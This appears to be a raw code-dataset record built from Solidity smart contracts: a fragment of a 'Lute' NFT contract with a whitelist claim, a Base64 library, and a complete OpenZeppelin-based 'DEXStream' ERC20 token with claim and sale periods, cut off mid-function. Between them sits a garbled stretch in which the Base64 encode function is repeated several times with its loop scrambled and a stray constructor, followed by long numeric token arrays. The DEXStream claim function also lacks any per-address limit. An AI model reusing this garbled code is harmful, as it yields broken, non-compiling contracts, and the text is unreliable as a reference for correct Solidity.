for (uint256 i = 0; i < addrs.length; i++) {
_whitelist[addrs[i]] = true;
_whitelistMints[addrs[i]] = 0;
}
}
function whitelistClaim(uint256 tokenId) public nonReentrant {
require(isWhitelisted(msg.sender), "Address not whitelisted");
require(_whitelistMints[msg.sender] + 1 <= _maxWhitelistMint, "Exceeds max whitelist mint");
require(tokenId > 7777 && tokenId < 7899, "Token ID invalid");
_whitelistMints[msg.sender] += 1;
_safeMint(_msgSender(), tokenId);
}
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT license
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
constructor() ERC721("Lute", "LUTE") Ownable() {}
}
/// [MIT License]
/// @title Base64
/// @notice Provides a function for encoding some bytes in base64
/// @author Brecht Devos <[email protected]>
library Base64 {
bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((len + 2) / 3);
// Add some extra buffer at the end
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
} lt(i, len) {
} {
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF))
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
} | [MIT License] @title Base64 @notice Provides a function for encoding some bytes in base64 @author Brecht Devos <[email protected]> | library Base64 {
bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
constructor() ERC721("Lute", "LUTE") Ownable() {}
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
uint256 encodedLen = 4 * ((len + 2) / 3);
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF))
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
uint256 encodedLen = 4 * ((len + 2) / 3);
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF))
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
uint256 encodedLen = 4 * ((len + 2) / 3);
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF))
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
} lt(i, len) {
} {
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
uint256 encodedLen = 4 * ((len + 2) / 3);
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF))
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
uint256 encodedLen = 4 * ((len + 2) / 3);
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF))
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
} | 6,537,021 | [
1,
63,
6068,
16832,
65,
225,
3360,
1105,
225,
28805,
279,
445,
364,
2688,
2690,
1731,
316,
1026,
1105,
225,
605,
266,
343,
88,
9562,
538,
411,
63,
3652,
131,
259,
1117,
65,
34,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
12083,
3360,
1105,
288,
203,
565,
1731,
2713,
5381,
7567,
273,
315,
26904,
12904,
16715,
45,
19474,
17063,
3417,
28386,
10637,
20147,
59,
23479,
28953,
17680,
8302,
16391,
13607,
556,
85,
16114,
30900,
17177,
26684,
15,
4898,
31,
203,
203,
565,
3885,
1435,
4232,
39,
27,
5340,
2932,
48,
624,
3113,
315,
48,
9099,
7923,
14223,
6914,
1435,
2618,
203,
565,
445,
2017,
12,
3890,
3778,
501,
13,
2713,
16618,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
2254,
5034,
562,
273,
501,
18,
2469,
31,
203,
3639,
309,
261,
1897,
422,
374,
13,
327,
1408,
31,
203,
203,
3639,
2254,
5034,
3749,
2891,
273,
1059,
380,
14015,
1897,
397,
576,
13,
342,
890,
1769,
203,
203,
3639,
1731,
3778,
563,
273,
394,
1731,
12,
10787,
2891,
397,
3847,
1769,
203,
203,
3639,
1731,
3778,
1014,
273,
7567,
31,
203,
203,
3639,
19931,
288,
203,
5411,
2231,
1014,
5263,
519,
527,
12,
2121,
16,
404,
13,
203,
5411,
2231,
563,
5263,
519,
527,
12,
2088,
16,
3847,
13,
203,
203,
5411,
364,
288,
203,
7734,
2231,
277,
519,
374,
203,
203,
7734,
277,
519,
527,
12,
77,
16,
890,
13,
203,
7734,
2231,
810,
519,
471,
12,
81,
945,
12,
1289,
12,
892,
16,
277,
13,
3631,
374,
5297,
9460,
13,
203,
203,
7734,
2231,
596,
519,
312,
945,
12,
1289,
12,
2121,
5263,
16,
471,
12,
674,
86,
12,
2643,
16,
810,
3631,
374,
92,
23,
42,
20349,
203,
7734,
596,
519,
699,
80,
12,
28,
16,
596,
13,
203,
7734,
596,
519,
2
] |
/**
*Submitted for verification at Etherscan.io on 2021-03-19
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.2;
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.0/contracts/utils/math/SafeMath.sol
// CAUTION - only use with Solidity 0.8 +
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.0/contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.0/contracts/utils/Context.sol
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.0/contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.0/contracts/token/ERC20/ERC20.sol
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
/**
* @title DEXStream.io Token
* @author JP
* @dev Implementation of the DEXStream.io Token
*/
contract DEXStreamToken is ERC20, Ownable {
uint256 private _cSBlock; // Claim startblock
uint256 private _cEBlock; // Claim endblock
uint256 private _cAmount; // Claim amount
uint256 private _cCap; // Claim count cap (<1000)
uint256 private _cCount; // Current claim count
uint256 private _sSBlock; // Sale startblock
uint256 private _sEBlock; // Sale endblock
uint256 private _sTokensPerEth; // amount of tokers to get per eth
uint256 private _sCap; // Sale count cap
uint256 private _sCount; // Current sale count
/**
* @param name Name of the token
* @param symbol A symbol to be used as ticker
* @param initialSupply Initial token supply
*/
constructor(
string memory name,
string memory symbol,
uint256 initialSupply
) ERC20(name, symbol)
{
if (initialSupply > 0) {
_mint(owner(), initialSupply);
}
}
function cSBlock() public view virtual returns (uint256) {
return _cSBlock;
}
function cEBlock() public view virtual returns (uint256) {
return _cEBlock;
}
function cAmount()public view virtual returns (uint256) {
return _cAmount;
}
function cCap() public view virtual returns (uint256) {
return _cCap;
}
function cCount() public view virtual returns (uint256) {
return _cCount;
}
function startClaimPeriod(uint256 startBlock, uint256 endBlock, uint256 amount,uint256 cap) public onlyOwner() {
_cSBlock = startBlock;
_cEBlock = endBlock;
_cAmount = amount;
_cCap = cap;
_cCount = 0;
}
function claim(address refer) public returns (bool success){
require(_cSBlock <= block.number && block.number <= _cEBlock, "Claim period not active");
require(_cCount < _cCap || _cCap == 0, "All is claimed");
_cCount ++;
if(msg.sender != refer && balanceOf(refer) != 0 && refer != 0x0000000000000000000000000000000000000000){
_transfer(address(this), refer, _cAmount);
}
_transfer(address(this), msg.sender, _cAmount);
return true;
}
function viewClaimPeriod() public view returns(uint256 startBlock, uint256 endBlock, uint256 amount, uint256 cap, uint256 count){
return(_cSBlock, _cEBlock, _cAmount, _cCap, _cCount);
}
function sSBlock() public view virtual returns (uint256) {
return _sSBlock;
}
function sEBlock() public view virtual returns (uint256) {
return _sEBlock;
}
function sTokensPerEth()public view virtual returns (uint256) {
return _sTokensPerEth;
}
function sCap() public view virtual returns (uint256) {
return _sCap;
}
function sCount() public view virtual returns (uint256) {
return _sCount;
}
function startSale(uint256 startBlock, uint256 endBlock, uint256 tokensPerEth,uint256 cap) public onlyOwner() {
_sSBlock = startBlock;
_sEBlock = endBlock;
_sTokensPerEth = tokensPerEth;
_sCap = cap;
